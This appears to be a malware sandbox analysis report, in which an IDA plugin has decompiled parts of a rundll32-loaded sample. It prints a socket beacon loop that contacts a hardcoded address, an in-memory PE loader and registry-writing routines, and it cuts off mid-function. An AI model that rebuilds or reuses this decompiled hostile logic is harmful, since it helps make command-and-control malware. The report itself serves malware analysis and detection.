lstrlenA.KERNEL32(?), ref: 1000126E
GetFileAttributesW.KERNEL32(?), ref: 1000127E
DeleteFileW.KERNEL32(?), ref: 10001291
CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000002,00000000,00000000), ref: 100012AE
WriteFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 100012CD
CloseHandle.KERNEL32(00000000), ref: 100012D6
CloseHandle.KERNEL32(00000000), ref: 100012E3
ExitProcess.KERNEL32 ref: 10001301
GetModuleFileNameW.KERNEL32(?,00000104), ref: 10001320
lstrcpyW.KERNEL32 ref: 1000133C
lstrcatW.KERNEL32(?,?), ref: 10001352
lstrcatW.KERNEL32(?), ref: 10001362
RegOpenKeyExW.KERNEL32(80000001,00000000,00020006,?), ref: 1000137C
RegDeleteValueW.KERNEL32(?), ref: 10001390
lstrlenW.KERNEL32(?), ref: 1000139E
RegSetValueExW.KERNEL32(?,00000000,00000001,?,00000000), ref: 100013C1
RegCloseKey.ADVAPI32(?), ref: 100013D0
RegOpenKeyExA.KERNEL32(80000001,00000000,00000002,?), ref: 100013FC
lstrlenA.KERNEL32(1001D581), ref: 10001407
RegSetValueExA.KERNEL32(?,1001D57C,00000000,00000003,1001D581,00000001), ref: 10001419
RegCloseKey.ADVAPI32(?), ref: 10001423

Strings

PXqtCqt Uqt, xrefs: 10001150

Memory Dump Source

Source File: 00000007.00000002.380451377.0000000010001000.00000020.00000001.01000000.00000008.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.380446044.0000000010000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.380457810.0000000010003000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.380471094.000000001001D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.380476329.000000001001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_rundll32.jbxd

Similarity

API ID: File$lstrcat$Close$NameOpenProcessTokenValuelstrcpylstrlen$AuthorityDeleteHandleInformationLocalModuleTemp$AllocAttributesCountCreateCurrentErrorExitFreeLastPathWrite
String ID: PXqtCqt Uqt
API String ID: 346244537-1512859922
Opcode ID: c6b8c847ba7234d35d1a74566c5162e7d374024ca7b435f7af47c6e5b83f3d4c
Instruction ID: 339ae7c5ddc8ce3a662536b25f0087256764c26c4d68769c8df3c93eb1f9be58
Opcode Fuzzy Hash: c6b8c847ba7234d35d1a74566c5162e7d374024ca7b435f7af47c6e5b83f3d4c
Instruction Fuzzy Hash: B6815E71505365AFF722EBA0CC98FAB7BECEB48785F008919F645D2064D730DA19CB61

Uniqueness

Uniqueness Score: -1.00%

Function 04A06B50 Relevance: 42.2, APIs: 28, Instructions: 209
networksleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 47%

			E04A06B50(intOrPtr* _a4) {
				signed int _v320;
				int _v324;
				intOrPtr _v328;
				short _v332;
				short _v334;
				char _v344;
				int _v348;
				signed char _v372;
				intOrPtr _v380;
				char _v384;
				int _v404;
				char _v413;
				char _v429;
				int _v444;
				void* __ebx;
				struct HPEN__* _t29;
				intOrPtr* _t30;
				intOrPtr _t32;
				short _t33;
				signed int _t34;
				signed char _t38;
				void* _t41;
				void* _t46;
				void* _t48;
				void* _t53;
				void* _t55;
				int _t59;
				char* _t60;
				void* _t61;
				intOrPtr* _t64;
				intOrPtr _t69;
				intOrPtr _t73;
				intOrPtr _t74;
				signed int _t79;
				signed int _t82;
				void* _t84;

				_t64 = _a4;
				_t84 = (_t82 & 0xfffffff8) - 0x154;
				 *0x4a165f0 =  *_t64;
				 *0x4a165f4 =  *((intOrPtr*)(_t64 + 4)); // executed
				_t29 = CreatePen(0, 4, 0xff); // executed
				 *0x4a17768 = _t29;
				InitializeCriticalSection(0x4a16714);
				EnterCriticalSection(0x4a16714);
				 *0x4a165fc = 0;
				 *0x4a16601 = 0;
				 *0x4a165fd = 0;
				 *0x4a1672c = 1;
				LeaveCriticalSection(0x4a16714);
				InitializeCriticalSection(0x4a16714);
				EnterCriticalSection(0x4a16714);
				 *0x4a16708 = 0;
				 *0x4a1670d = 0;
				 *0x4a16709 = 0;
				 *0x4a1672c = 1;
				LeaveCriticalSection(0x4a16714);
				_t30 =  *0x4a165c0; // 0x745b2a00
				if(_t30 == 0) {
					 *0x4a16544 = GetTickCount();
				} else {
					 *_t30(0x4a16544, 4);
				}
				_t59 = 1;
				_v348 = 1;
				while(1) {
					L4:
					_t79 = 0;
					while(1) {
						L6:
						L6:
						if(_t59 != 0) {
							_t59 = 0;
							_v348 = 0;
						} else {
							Sleep(0x1388); // executed
						}
						if(_t79 != 0) {
							 *0x4a176e4(_t79, 2);
							 *0x4a176d8(_t79);
						}
						_t32 =  *0x4a165f0; // 0x7b71be40
						_v328 = _t32;
						_v332 = 2;
						_t33 =  *0x4a176f4( *0x4a165f4 & 0x0000ffff);
						_v334 = _t33;
						_t34 =  *0x4a176d4(2, 1, 6); // executed
						_t79 = _t34;
						if(_t79 != 0xffffffff) {
							goto L13;
						}
						_t79 = _t79 | _t34;
						L16:
						_t69 =  *0x4a16544; // 0x12f7928
						_t38 = _t34 & 0xffffff00 |  *0x4a163f4 != 0x00000000;
						_v372 = _t38;
						_push(_v372);
						 *(0x4a16400 + (_t38 & 0x000000ff) * 4) = _t79;
						E04A05960( &_v344, _t69);
						_t84 = _t84 + 4;
						_t60 =  &_v344;
						_t73 = 0x22;
						while(1) {
							_t41 =  *0x4a176dc(_t79, _t60, _t73, 0); // executed
							if(_t41 <= 0) {
								break;
							}
							_t60 = _t60 + _t41;
							_t73 = _t73 - _t41;
							if(_t73 != 0) {
								continue;
							}
							_v384 = 0x1e;
							_v380 = _t73;
							_v320 = _t79;
							_v324 = 1;
							_t46 =  *0x4a17724(_t79,  &_v324, _t73, _t73,  &_v384); // executed
							if(_t46 != 1) {
								break;
							}
							_t48 =  *0x4a176f8(_t79,  &_v413, _t46, _t73); // executed
							asm("sbb eax, eax");
							if( ~(_t48 - 1) + 1 != 0 && _v429 == 0) {
								 *0x4a16c8e = GetTickCount();
								_t74 = 0x3f6;
								_t61 = 0x4a16c80;
								while(1) {
									_t53 =  *0x4a176dc(_t79, _t61, _t74, 0);
									if(_t53 <= 0) {
										goto L22;
									}
									_t61 = _t61 + _t53;
									_t74 = _t74 - _t53;
									if(_t74 != 0) {
										continue;
									}
									 *0x4a165ec = _t74;
									if(E04A06950(_t79) == 0) {
										_t55 = E04A06E70(_t61);
										if( *0x4a1672c != 0) {
											EnterCriticalSection(0x4a16714);
											 *0x4a165fc = 0;
											 *0x4a16601 = 0;
											 *0x4a165fd = 0;
											 *0x4a1672c = 0;
											LeaveCriticalSection(0x4a16714);
											DeleteCriticalSection(0x4a16714);
											if( *0x4a1672c != 0) {
												EnterCriticalSection(0x4a16714);
												 *0x4a16708 = 0;
												 *0x4a1670d = 0;
												 *0x4a16709 = 0;
												 *0x4a1672c = 0;
												LeaveCriticalSection(0x4a16714);
												DeleteCriticalSection(0x4a16714);
											}
										}
										return _t55;
									}
									_t59 = _v444;
									goto L6;
								}
							}
							break;
						}
						L22:
						 *0x4a176e4(_t79, 2); // executed
						 *0x4a176d8(_t79);
						_t59 = _v404;
						goto L4;
						L13:
						_t34 =  *0x4a176e0(_t79,  &_v348, 0x10); // executed
						if(_t34 == 0) {
							if(_t79 == 0) {
								goto L6;
							}
							goto L16;
						}
						_t34 =  *0x4a176d8(_t79);
						_t79 = _t79 | 0xffffffff;
						goto L16;
					}
				}
			}

0x04a06b56
0x04a06b59
0x04a06b69
0x04a06b76
0x04a06b7c
0x04a06b8d
0x04a06b92
0x04a06b9f
0x04a06bac
0x04a06bb3
0x04a06bbd
0x04a06bc7
0x04a06bd1
0x04a06bd8
0x04a06bdf
0x04a06be6
0x04a06bed
0x04a06bf7
0x04a06c01
0x04a06c0b
0x04a06c0d
0x04a06c14
0x04a06c27
0x04a06c16
0x04a06c1d
0x04a06c1d
0x04a06c2c
0x04a06c31
0x04a06c35
0x04a06c35
0x04a06c35
0x04a06c37
0x00000000
0x04a06c40
0x04a06c42
0x04a06c51
0x04a06c53
0x04a06c44
0x04a06c49
0x04a06c49
0x04a06c59
0x04a06c5e
0x04a06c65
0x04a06c65
0x04a06c72
0x04a06c78
0x04a06c7c
0x04a06c81
0x04a06c8d
0x04a06c92
0x04a06c98
0x04a06c9d
0x00000000
0x00000000
0x04a06c9f
0x04a06cc9
0x04a06cd4
0x04a06cda
0x04a06cdd
0x04a06ce1
0x04a06ce8
0x04a06cef
0x04a06cf4
0x04a06cf7
0x04a06cfb
0x04a06d00
0x04a06d05
0x04a06d0d
0x00000000
0x00000000
0x04a06d0f
0x04a06d11
0x04a06d13
0x00000000
0x00000000
0x04a06d19
0x04a06d28
0x04a06d2e
0x04a06d32
0x04a06d3a
0x04a06d43
0x00000000
0x00000000
0x04a06d4d
0x04a06d56
0x04a06d5b
0x04a06d83
0x04a06d88
0x04a06d8d
0x04a06d92
0x04a06d97
0x04a06d9f
0x00000000
0x00000000
0x04a06da1
0x04a06da3
0x04a06da5
0x00000000
0x00000000
0x04a06da9
0x04a06db6
0x04a06dc3
0x04a06dcf
0x04a06de0
0x04a06ded
0x04a06df4
0x04a06dfe
0x04a06e08
0x04a06e12
0x04a06e1f
0x04a06e28
0x04a06e2f
0x04a06e36
0x04a06e3d
0x04a06e47
0x04a06e51
0x04a06e5b
0x04a06e62
0x04a06e62
0x04a06e28
0x04a06e6a
0x04a06e6a
0x04a06db8
0x00000000
0x04a06c37
0x04a06d92
0x00000000
0x04a06d5b
0x04a06d64
0x04a06d67
0x04a06d6e
0x04a06d74
0x00000000
0x04a06ca3
0x04a06cab
0x04a06cb3
0x04a06cc3
0x00000000
0x00000000
0x00000000
0x04a06cc3
0x04a06cb6
0x04a06cbc
0x00000000
0x04a06cbc
0x04a06c37

APIs

CreatePen.GDI32(00000000,00000004,000000FF), ref: 04A06B7C
InitializeCriticalSection.KERNEL32(04A16714), ref: 04A06B92
EnterCriticalSection.KERNEL32(04A16714), ref: 04A06B9F
LeaveCriticalSection.KERNEL32(04A16714), ref: 04A06BD1
InitializeCriticalSection.KERNEL32(04A16714), ref: 04A06BD8
EnterCriticalSection.KERNEL32(04A16714), ref: 04A06BDF
LeaveCriticalSection.KERNEL32(04A16714), ref: 04A06C0B
GetTickCount.KERNEL32 ref: 04A06C21
Sleep.KERNEL32(00001388), ref: 04A06C49
shutdown.WS2_32(00000000,00000002), ref: 04A06C5E
closesocket.WS2_32(00000000), ref: 04A06C65
htons.WS2_32 ref: 04A06C81
socket.WS2_32(00000002,00000001,00000006), ref: 04A06C92
connect.WS2_32(00000000,?,00000010), ref: 04A06CAB
closesocket.WS2_32(00000000), ref: 04A06CB6
send.WS2_32(00000000,?,00000022,00000000), ref: 04A06D05
select.WS2_32 ref: 04A06D3A
recv.WS2_32(00000000,?,00000000,00000022), ref: 04A06D4D
shutdown.WS2_32(00000000,00000002), ref: 04A06D67
closesocket.WS2_32(00000000), ref: 04A06D6E
GetTickCount.KERNEL32 ref: 04A06D7D
send.WS2_32(00000000,04A16C80,000003F6,00000000), ref: 04A06D97
EnterCriticalSection.KERNEL32(04A16714), ref: 04A06DE0
LeaveCriticalSection.KERNEL32(04A16714), ref: 04A06E12
DeleteCriticalSection.KERNEL32(04A16714), ref: 04A06E1F
EnterCriticalSection.KERNEL32(04A16714), ref: 04A06E2F
LeaveCriticalSection.KERNEL32(04A16714), ref: 04A06E5B
DeleteCriticalSection.KERNEL32(04A16714), ref: 04A06E62

Memory Dump Source

Source File: 00000007.00000002.380346351.0000000004A01000.00000020.00001000.00020000.00000000.sdmp, Offset: 04A00000, based on PE: true

Associated: 00000007.00000002.380338831.0000000004A00000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380357902.0000000004A0F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380387384.0000000004A15000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380395863.0000000004A1B000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4a00000_rundll32.jbxd

Similarity

API ID: CriticalSection$EnterLeave$closesocket$CountDeleteInitializeTicksendshutdown$CreateSleepconnecthtonsrecvselectsocket
String ID:
API String ID: 3859906200-0
Opcode ID: 009e69a2e2df83a371f15c01ee681e4be3a7cef8910d97dd584bc80468536a10
Instruction ID: 6feaa27c4fe191e69e7f6d3b4d46beecb3f31c8397102862b6d659c638310c05
Opcode Fuzzy Hash: 009e69a2e2df83a371f15c01ee681e4be3a7cef8910d97dd584bc80468536a10
Instruction Fuzzy Hash: 5A71B4B5641311AFE720DF64F848B5A7AE8FB68758F008019F511D62E0E7B99C46CFA2

Uniqueness

Uniqueness Score: -1.00%

Function 10002110 Relevance: 24.9, APIs: 13, Strings: 1, Instructions: 364
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 86%

			E10002110(intOrPtr __ecx) {
				void* _t119;
				void* _t120;
				void* _t121;
				void _t124;
				void* _t127;
				intOrPtr _t130;
				void* _t134;
				intOrPtr* _t142;
				long _t150;
				intOrPtr _t156;
				void* _t160;
				signed short _t161;
				signed int _t163;
				intOrPtr _t164;
				intOrPtr _t167;
				signed int _t169;
				long _t173;
				void* _t176;
				void* _t183;
				intOrPtr _t184;
				void* _t186;
				void _t187;
				void _t188;
				void* _t189;
				void* _t191;
				signed short* _t192;
				intOrPtr* _t195;
				long* _t196;
				void _t199;
				intOrPtr _t200;
				void* _t201;
				long _t206;
				void _t207;
				intOrPtr _t211;
				void* _t216;
				signed char _t217;
				intOrPtr* _t219;
				signed short* _t220;
				void* _t221;
				void* _t222;
				void* _t223;
				void* _t224;
				void* _t226;
				intOrPtr _t227;
				intOrPtr* _t228;
				long* _t229;
				intOrPtr* _t231;
				void* _t232;
				void* _t233;
				long _t235;
				long _t236;
				intOrPtr* _t238;
				void* _t239;
				void* _t240;
				void* _t241;
				void* _t242;
				void* _t243;
				void* _t244;

				_t184 = __ecx;
				 *((intOrPtr*)(_t243 + 0x1c)) = __ecx;
				if( *((intOrPtr*)(__ecx)) != 0x5a4d) {
					L66:
					return 0;
				} else {
					_t238 =  *((intOrPtr*)(__ecx + 0x3c)) + __ecx;
					if( *_t238 != 0x4550) {
						goto L66;
					} else {
						_t119 = VirtualAlloc( *(_t238 + 0x34),  *(_t238 + 0x50), 0x3000, 4); // executed
						_t223 = _t119;
						 *(_t243 + 0x14) = _t223;
						if(_t223 != 0) {
							L4:
							_t120 = VirtualAlloc(0, 0x24, 0x3000, 4); // executed
							_t221 = _t120;
							 *(_t243 + 0x20) = _t221;
							if(_t221 == 0) {
								goto L66;
							} else {
								 *(_t221 + 4) = _t223;
								 *(_t221 + 0xc) = 0;
								 *(_t221 + 8) = 0;
								 *(_t221 + 0x10) = 0;
								 *((intOrPtr*)(_t221 + 0x14)) = E100020D0;
								 *((intOrPtr*)(_t221 + 0x18)) = E100020E0;
								 *((intOrPtr*)(_t221 + 0x1c)) = E100020F0;
								 *(_t221 + 0x20) = 0;
								_t121 = VirtualAlloc(_t223,  *(_t238 + 0x54), 0x1000, 4); // executed
								_t224 = _t121;
								E10001FD0(_t224, _t184,  *(_t238 + 0x54));
								_t244 = _t243 + 0xc;
								_t124 =  *((intOrPtr*)(_t184 + 0x3c)) + _t224;
								 *_t221 = _t124;
								 *(_t244 + 0x18) = 0;
								 *((intOrPtr*)(_t124 + 0x34)) =  *((intOrPtr*)(_t244 + 0x14));
								_t199 =  *_t221;
								_t216 =  *(_t221 + 4);
								 *(_t244 + 0x10) = _t216;
								_t186 = ( *(_t199 + 0x14) & 0x0000ffff) + 0x28;
								if(0 <  *(_t199 + 6)) {
									_t196 = _t186 + _t199;
									do {
										_t173 =  *_t196;
										if(_t173 != 0) {
											_t30 = _t196 - 4; // 0x8b137400
											_t176 = VirtualAlloc( *_t30 + _t216, _t173, 0x1000, 4); // executed
											_t31 =  &(_t196[1]); // 0x8b08880c
											_t233 = _t176;
											E10001FD0(_t233,  *_t31 +  *(_t244 + 0x20),  *_t196);
											 *(_t196 - 8) = _t233;
											goto L11;
										} else {
											_t236 =  *(_t238 + 0x38);
											if(_t236 > 0) {
												_t28 = _t196 - 4; // 0x8b137400
												 *(_t196 - 8) = VirtualAlloc( *_t28 + _t216, _t236, 0x1000, 4);
												E10002080(_t181, 0, _t236);
												L11:
												_t216 =  *(_t244 + 0x1c);
												_t244 = _t244 + 0xc;
											}
										}
										_t199 =  *_t221;
										_t196 =  &(_t196[0xa]);
										_t235 =  *(_t244 + 0x18) + 1;
										 *(_t244 + 0x18) = _t235;
									} while (_t235 < ( *(_t199 + 6) & 0x0000ffff));
									_t216 =  *(_t221 + 4);
									 *(_t244 + 0x10) = _t216;
								}
								_t127 =  *((intOrPtr*)(_t244 + 0x14)) -  *(_t238 + 0x34);
								 *(_t244 + 0x1c) = _t127;
								if(_t127 != 0 &&  *((intOrPtr*)(_t199 + 0xa4)) > 0) {
									_t195 =  *((intOrPtr*)(_t199 + 0xa0)) + _t216;
									_t167 =  *_t195;
									if(_t167 != 0) {
										_t222 =  *(_t244 + 0x1c);
										do {
											_t211 =  *((intOrPtr*)(_t195 + 4));
											_t242 = _t167 + _t216;
											_t232 = 0;
											_t220 = _t195 + 8;
											if((_t211 - 0x00000008 & 0xfffffffe) > 0) {
												do {
													_t169 =  *_t220 & 0x0000ffff;
													if((_t169 & 0x0000f000) == 0x3000) {
														 *((intOrPtr*)((_t169 & 0x00000fff) + _t242)) =  *((intOrPtr*)((_t169 & 0x00000fff) + _t242)) + _t222;
													}
													_t211 =  *((intOrPtr*)(_t195 + 4));
													_t232 = _t232 + 1;
													_t220 =  &(_t220[1]);
												} while (_t232 < _t211 - 8 >> 1);
											}
											_t167 =  *((intOrPtr*)(_t195 + _t211));
											_t195 = _t195 + _t211;
											_t216 =  *(_t244 + 0x10);
										} while (_t167 != 0);
										_t221 =  *(_t244 + 0x20);
									}
								}
								_t187 =  *_t221;
								_t239 =  *(_t221 + 4);
								 *(_t244 + 0x10) = _t239;
								if( *((intOrPtr*)(_t187 + 0x84)) <= 0) {
									L41:
									_t188 =  *_t221;
									_t240 = 0;
									_t82 = _t188 + 0x14; // 0x5de58b08
									_t226 = ( *_t82 & 0x0000ffff) + 0x28;
									_t83 = _t188 + 6; // 0xfc558b08
									if(0 <  *_t83) {
										_t229 = _t226 + _t188;
										do {
											_t217 = _t229[5];
											if((_t217 & 0x02000000) == 0) {
												_t206 =  *(0x1001b790 + ((_t217 >> 0x1f) + ((_t217 >> 0x0000001e & 0x00000001) + (_t217 >> 0x0000001d & 0x00000001) * 2) * 2) * 4);
												if((_t217 & 0x04000000) != 0) {
													_t206 = _t206 | 0x00000200;
												}
												_t150 =  *_t229;
												if(_t150 != 0) {
													L53:
													VirtualProtect( *(_t229 - 8), _t150, _t206, _t244 + 0x20); // executed
												} else {
													if((_t217 & 0x00000040) == 0) {
														if(_t217 < 0) {
															_t99 = _t188 + 0x24; // 0xcccccccc
															_t150 =  *_t99;
															goto L52;
														}
													} else {
														_t98 = _t188 + 0x20; // 0xcccccccc
														_t150 =  *_t98;
														L52:
														if(_t150 != 0) {
															goto L53;
														}
													}
												}
											} else {
												VirtualFree( *(_t229 - 8),  *_t229, 0x4000); // executed
											}
											_t188 =  *_t221;
											_t240 = _t240 + 1;
											_t229 =  &(_t229[0xa]);
											_t102 = _t188 + 6; // 0xfc558b08
										} while (_t240 < ( *_t102 & 0x0000ffff));
									}
									_t103 = _t188 + 0xc0; // 0x8b1001d0
									_t227 =  *_t103;
									if(_t227 != 0) {
										_t189 =  *(_t221 + 4);
										_t228 =  *((intOrPtr*)(_t189 + _t227 + 0xc));
										if(_t228 != 0) {
											_t142 =  *_t228;
											while(_t142 != 0) {
												 *_t142(_t189, 1, 0);
												_t142 =  *((intOrPtr*)(_t228 + 4));
												_t228 = _t228 + 4;
											}
										}
									}
									_t130 =  *((intOrPtr*)( *_t221 + 0x28));
									if(_t130 == 0) {
										L68:
										return _t221;
									} else {
										_t200 =  *((intOrPtr*)(_t244 + 0x14));
										_push(0);
										_push(1);
										_push(_t200);
										if( *((intOrPtr*)(_t130 + _t200))() != 0) {
											 *(_t221 + 0x10) = 1;
											goto L68;
										} else {
											goto L61;
										}
									}
								} else {
									_t62 = _t187 + 0x80; // 0x8b000004
									_t191 =  *_t62 + _t239;
									 *(_t244 + 0x20) = _t191;
									 *((intOrPtr*)(_t244 + 0x28)) = IsBadReadPtr;
									if(IsBadReadPtr(_t191, 0x14) == 0) {
										while(1) {
											_t156 =  *((intOrPtr*)(_t191 + 0xc));
											if(_t156 == 0) {
												goto L41;
											}
											_t241 =  *((intOrPtr*)( *((intOrPtr*)(_t221 + 0x14))))(_t156 + _t239,  *(_t221 + 0x20));
											_t244 = _t244 + 8;
											if(_t241 == 0) {
												SetLastError(0x7e);
												goto L61;
											} else {
												_t207 =  *_t191;
												if(_t207 == 0) {
													_t207 =  *(_t191 + 0x10);
												}
												_t160 =  *(_t244 + 0x10);
												_t231 = _t160 +  *(_t191 + 0x10);
												_t192 = _t160 + _t207;
												_t161 =  *_t192;
												if(_t161 == 0) {
													L37:
													_t191 =  *(_t244 + 0x18) + 0x14;
													_push(0x14);
													_push(_t191);
													 *(_t244 + 0x20) = _t191;
													if( *((intOrPtr*)(_t244 + 0x28))() != 0) {
														goto L41;
													} else {
														_t239 =  *(_t244 + 0x10);
														continue;
													}
												} else {
													while(1) {
														_t219 =  *((intOrPtr*)(_t221 + 0x18));
														_push( *(_t221 + 0x20));
														if(_t161 >= 0) {
															_t163 = _t161 +  *((intOrPtr*)(_t244 + 0x14)) + 2;
														} else {
															_t163 = _t161 & 0x0000ffff;
														}
														_t164 =  *_t219(_t241, _t163);
														_t244 = _t244 + 0xc;
														 *_t231 = _t164;
														if(_t164 == 0) {
															break;
														}
														_t161 = _t192[2];
														_t192 =  &(_t192[2]);
														_t231 = _t231 + 4;
														if(_t161 != 0) {
															continue;
														} else {
															goto L37;
														}
														goto L69;
													}
													 *((intOrPtr*)( *((intOrPtr*)(_t221 + 0x1c))))(_t241,  *(_t221 + 0x20));
													SetLastError(0x7f);
													L61:
													if( *(_t221 + 0x10) != 0) {
														_t201 =  *(_t221 + 4);
														 *((intOrPtr*)( *((intOrPtr*)( *_t221 + 0x28)) + _t201))(_t201, 0, 0);
														 *(_t221 + 0x10) = 0;
													}
													_t134 =  *(_t221 + 4);
													if(_t134 != 0) {
														VirtualFree(_t134, 0, 0x8000);
													}
													HeapFree(GetProcessHeap(), 0, _t221);
													goto L66;
												}
											}
											goto L69;
										}
									}
									goto L41;
								}
							}
						} else {
							_t183 = VirtualAlloc(_t119,  *(_t238 + 0x50), 0x3000, 4); // executed
							_t223 = _t183;
							 *(_t243 + 0x14) = _t183;
							if(_t223 == 0) {
								goto L66;
							} else {
								goto L4;
							}
						}
					}
				}
				L69:
			}

0x10002114
0x1000211e
0x10002125
0x10002539
0x1000253f
0x1000212b
0x1000212e
0x10002137
0x00000000
0x1000213d
0x1000214a
0x10002150
0x10002152
0x10002158
0x10002179
0x10002184
0x1000218a
0x1000218c
0x10002192
0x00000000
0x10002198
0x1000219f
0x100021a2
0x100021a9
0x100021b0
0x100021b7
0x100021be
0x100021c5
0x100021cc
0x100021d7
0x100021e0
0x100021e4
0x100021ec
0x100021f3
0x100021f5
0x100021f7
0x100021ff
0x10002204
0x10002206
0x10002209
0x10002211
0x10002218
0x1000221e
0x10002220
0x10002220
0x10002224
0x10002257
0x1000225d
0x10002265
0x10002268
0x10002270
0x10002275
0x00000000
0x10002226
0x10002226
0x1000222b
0x1000222d
0x10002245
0x10002248
0x10002278
0x10002278
0x1000227c
0x1000227c
0x1000222b
0x1000227f
0x10002281
0x10002288
0x10002289
0x10002291
0x10002295
0x10002298
0x10002298
0x100022a0
0x100022a3
0x100022a7
0x100022b8
0x100022ba
0x100022be
0x100022c0
0x100022c4
0x100022c4
0x100022c7
0x100022ca
0x100022cc
0x100022d7
0x100022e0
0x100022e0
0x100022f1
0x100022f8
0x100022f8
0x100022fb
0x100022fe
0x100022ff
0x10002307
0x100022e0
0x1000230b
0x1000230e
0x10002310
0x10002314
0x10002318
0x10002318
0x100022be
0x1000231c
0x1000231e
0x10002321
0x1000232c
0x1000240a
0x1000240a
0x1000240e
0x10002410
0x10002414
0x10002417
0x1000241b
0x10002421
0x10002423
0x10002423
0x1000242c
0x1000245b
0x10002468
0x1000246a
0x1000246a
0x10002470
0x10002474
0x1000248b
0x10002495
0x10002476
0x10002479
0x10002482
0x10002484
0x10002484
0x00000000
0x10002484
0x1000247b
0x1000247b
0x1000247b
0x10002487
0x10002489
0x00000000
0x00000000
0x10002489
0x10002479
0x1000242e
0x10002438
0x10002438
0x1000249b
0x1000249d
0x1000249e
0x100024a1
0x100024a5
0x10002423
0x100024ad
0x100024ad
0x100024b5
0x100024b7
0x100024ba
0x100024c0
0x100024c2
0x100024c6
0x100024cd
0x100024cf
0x100024d2
0x100024d5
0x100024c6
0x100024c0
0x100024db
0x100024e0
0x10002547
0x10002550
0x100024e2
0x100024e2
0x100024e8
0x100024ea
0x100024ec
0x100024f1
0x10002540
0x00000000
0x00000000
0x00000000
0x00000000
0x100024f1
0x10002332
0x10002332
0x1000233d
0x10002342
0x10002346
0x1000234e
0x10002354
0x10002354
0x10002359
0x00000000
0x00000000
0x1000236a
0x1000236c
0x10002371
0x100023ff
0x00000000
0x10002377
0x10002377
0x1000237b
0x1000237d
0x1000237d
0x10002380
0x10002387
0x10002389
0x1000238c
0x10002390
0x100023c5
0x100023c9
0x100023cc
0x100023ce
0x100023cf
0x100023d9
0x00000000
0x100023db
0x100023db
0x00000000
0x100023db
0x10002392
0x10002392
0x10002395
0x10002398
0x1000239b
0x100023a9
0x1000239d
0x1000239d
0x1000239d
0x100023ad
0x100023af
0x100023b2
0x100023b6
0x00000000
0x00000000
0x100023b8
0x100023bb
0x100023be
0x100023c3
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x100023c3
0x100023eb
0x100023f2
0x100024f3
0x100024f7
0x100024fb
0x10002508
0x1000250a
0x1000250a
0x10002511
0x10002516
0x10002520
0x10002520
0x10002530
0x00000000
0x10002530
0x10002390
0x00000000
0x10002371
0x10002354
0x00000000
0x1000234e
0x1000232c
0x1000215a
0x10002165
0x1000216b
0x1000216d
0x10002173
0x00000000
0x00000000
0x00000000
0x00000000
0x10002173
0x10002158
0x10002137
0x00000000

APIs

VirtualAlloc.KERNEL32(?,?,00003000,00000004,?,?,?,?,?,?,?,?,10002108,?,?,10001E84), ref: 1000214A
VirtualAlloc.KERNEL32(00000000,?,00003000,00000004,?,?,?,?,?,?,?,?,10002108,?,?,10001E84), ref: 10002165
VirtualAlloc.KERNEL32(00000000,00000024,00003000,00000004,?,?,?,?,?,?,?,?,10002108,?,?,10001E84), ref: 10002184
VirtualAlloc.KERNEL32(00000000,?,00001000,00000004,?,?), ref: 100021D7
VirtualAlloc.KERNEL32(8B137400,?,00001000,00000004), ref: 1000223B
VirtualAlloc.KERNEL32(8B137400,?,00001000,00000004), ref: 1000225D
SetLastError.KERNEL32(0000007F,?,?,?,?,?,?,?,?,?,?), ref: 100023F2
SetLastError.KERNEL32(0000007E,?,?,?), ref: 100023FF
VirtualFree.KERNEL32(?,00000000,00008000), ref: 10002520
GetProcessHeap.KERNEL32(00000000,00000000), ref: 10002529
HeapFree.KERNEL32(00000000), ref: 10002530

Strings

Uqt, xrefs: 10002530

Memory Dump Source

Source File: 00000007.00000002.380451377.0000000010001000.00000020.00000001.01000000.00000008.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.380446044.0000000010000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.380457810.0000000010003000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.380471094.000000001001D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.380476329.000000001001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_rundll32.jbxd

Similarity

API ID: Virtual$Alloc$ErrorFreeHeapLast$Process
String ID: Uqt
API String ID: 816578772-2320327147
Opcode ID: 40a1848480876783c6f9948bb2f3e9b19deaea11813bb9bfec874e9d61063408
Instruction ID: 68a5e4e26544269687d7039e1f6398d14ac1c19326ad6bb82fd66e6716919861
Opcode Fuzzy Hash: 40a1848480876783c6f9948bb2f3e9b19deaea11813bb9bfec874e9d61063408
Instruction Fuzzy Hash: 0ED1BA70600712ABE714DF68CC80B1AB7E4FF48784F058568FA49DB289E774EE55CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 10001C60 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 91
registrystringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 95%

			E10001C60() {
				char _v260;
				int _v264;
				int _v268;
				void* _v272;
				long _t27;
				int _t43;
				void* _t44;
				void* _t46;
				int _t47;
				CHAR* _t49;
				void* _t50;
				char* _t51;
				char* _t52;
				void** _t53;

				_t53 =  &_v272;
				_t51 =  *0x1001d0a4; // 0x1001d5a4
				"26b30163" = 0;
				_v268 = 0x104;
				_t27 = RegOpenKeyExA(0x80000001,  *0x1001d0a0, 0, 1,  &_v272); // executed
				if(_t27 != 0) {
					return 0;
				} else {
					_v264 = 1;
					RegQueryValueExA(_v272, _t51, 0,  &_v264,  &_v260,  &_v268); // executed
					asm("sbb esi, esi");
